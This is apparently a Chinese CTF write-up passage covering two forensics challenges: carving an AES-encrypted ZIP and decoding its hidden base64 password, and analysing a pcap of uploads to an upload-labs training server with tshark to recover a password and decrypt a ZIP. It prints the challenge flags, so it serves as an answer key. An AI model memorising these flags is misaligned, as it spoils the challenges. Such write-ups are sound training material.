print(len(trailing), trailing[:16])
# 294  b'PK\x03\x04\x14\x00\t\x00c\x00...'
open("1.zip", "wb").write(trailing)

PK\x03\x04 —— 这是一个 ZIP 本地文件头。把它切出来存为 1.zip。

直接 unzip 会失败。看文件头:

字段值含义
compression method0x63 (99)WinZip AES 加密
通用标志位 flags0x0009bit0=加密,bit3=数据描述符
extra field id0x9901AE-x(WinZip AES)扩展字段
strength0x03AES-256(salt 16 字节)
实际压缩方法0x08deflate

所以这是 AES-256 加密 + deflate 的 ZIP,需要 7z .

3.找unzip密码

把整个 1.zip hexdump,注意到 End of Central Directory(PK\x05\x06)记录之后还有一串可见字符:

cGFzc19pc19kYWFpc3Jjc3RoZnVnYW9pb2Q=

base64 解码:

echo 'cGFzc19pc19kYWFpc3Jjc3RoZnVnYW9pb2Q=' | base64 -d
# pass_is_daaisrcsthfugaoiod

→ 密码 = daaisrcsthfugaoiod

4. 解密提取 flag

7z x -p'daaisrcsthfugaoiod' carved.zip
cat flag.txt

flag

DASCTF{951d373835a426d2cfa93c4defd5d343}

http_2

1.附件

分析 pcap 文件,发现HTTP通信:

角色IP
客户端192.168.21.1
服务端192.168.21.131:80

服务端信息:Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4

主页源码显示服务端运行的是 upload-labs(PHP 文件上传漏洞靶场),共有 Pass-01 到 Pass-04 四个关卡。

tshark -r http.pcapng -Y "http.request.method == POST" -T fields -e frame.number -e http.request.uri -e http.content_type

输出:

4205  /Pass-03/index.php  multipart/form-data  (603 bytes)
5205  /Pass-03/index.php  multipart/form-data  (354 bytes)

两次文件上传都发生在 Pass-03。

2.提取 HTTP 200 响应中涉及上传路径的记录

tshark -r http.pcapng -Y "http.response.code == 200" -T fields -e http.request.uri -e http.content_type

output

/upload/202309052341208788.zip  application/zip
/upload/202309052341308495.txt  text/plain

3.从 pcap 中导出 HTTP 对象

tshark -r http.pcapng --export-objects "http,extracted_files"

提取到的关键文件:

文件1:202309052341308495.txt(16 bytes)

内容为:

aad48edf62998403

这是一个 16 字符的十六进制字符串,显然用作密码。

文件2:202309052341208788.zip(240 bytes)

用 hex 查看 zip 结构:

0000: 50 4b 03 04 33 00 01 00 63 00 ...  PK..3...c.
0010: 00 00 00 00 44 00 00 00 28 00  ....D...(.
0020: 00 00 08 00 0b 00 66 6c 61 67  ......flag
0030: 2e 74 78 74 01 99 07 00 02 00  .txt......
0040: 41 45 03 00 00 35 b5 b7 41 eb  AE...5..A.

4.解密zip

密码: "aad48edf62998403"
Salt: 35b5b741ebe6800c53e821d25bf320ab

PBKDF2-HMAC-SHA1(password, salt, iterations=1000)
→ derived_key (66 bytes)

密钥划分:

derived_key[0:32]   → AES-256 加密密钥
derived_key[32:64]  → HMAC-SHA1 认证密钥
derived_key[64:66]  → 密码验证值 (2 bytes)

5.flag

DASCTF{9fcea8d3670fac99782eb92e70f9d2a3}

[!INFO] 剩下的杂项懒得写了,回头想起再补

Comments